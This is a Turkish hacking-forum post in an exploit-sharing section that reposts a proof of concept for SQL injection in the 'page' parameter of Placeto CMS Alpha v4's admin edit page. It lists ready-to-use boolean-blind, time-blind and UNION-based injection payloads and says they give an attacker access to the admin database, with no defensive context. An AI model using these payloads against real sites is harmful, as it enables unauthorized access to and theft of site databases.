Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...


Placeto CMS Alpha v4 - 'page' SQL Injection

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 4 Hafta önce   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
01/2019
Mesajlar
Konular

Teşekkür (Etti): 16
Teşekkür (Aldı): 31


Placeto CMS Alpha v4 - 'page' SQL Injection



# Title/Başlık: Placeto CMS
# Date/Tarih: 21.03.2019
# Exploit Author/Exploit Yazarı: Abdullah Çelebi
# Vendor Homepage/Yapımcı Adresi: https://sourceforge.net/projects/placeto/
# Software Link/Yazılım Linki: https://sourceforge.net/projects/pla....4/placeto.zip
# Version: Alpha rv.4
# Category/Kategori: Webapps
# Tested on/Test Edilen Platform: WAMPP @win
# Software description/Yazılım Açıklaması:Kullanımı kolay bir CMS(içerik yönetim sistemi)dir.Hızlı olması ve hafızada az alan kaplaması için yazılmıştır.Bant genişliğini ve CPU süresini kısaltır.

# Vulnerabilities:
Saldırgan, şu parametreleri kullanarak admin veritabanına erişim sağlayabilir:


# POC - SQLi :

# Parameter: page (GET)
# Request URL: http://localhost/placeto/admin/edit.php?page=key

# Type : boolean-based blind
page=JyI" AND 1647=1647 AND "svwN"="svwN

# Type : time-based blind
page=JyI" AND SLEEP(5) AND "uIvY"="uIvY

# Type : union query
page=-8388" UNION ALL SELECT
NULL,CONCAT(0x716b627671,0x6a636f485445445466517a4 a6f6972635551635179725550617072647371784f6445576b7 4736849,0x716b6b6b71),NULL,NULL,NULL,NULL,NULL,NUL L,NULL,NULL--
CbSf


# Exploit Adresi : https://www.exploit-db.com/exploits/46588



___________________________________________

"Ulusal egemenlik öyle bir nurdur ki, onun karşısında zincirler erir, taç ve tahtlar yanar, mahvolur."
Mustafa Kemal ATATÜRK

telegram: deargod_tht
 Offline  
 
Alıntı ile Cevapla
Teşekkür

XNovATurkX Teşekkür etti.
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau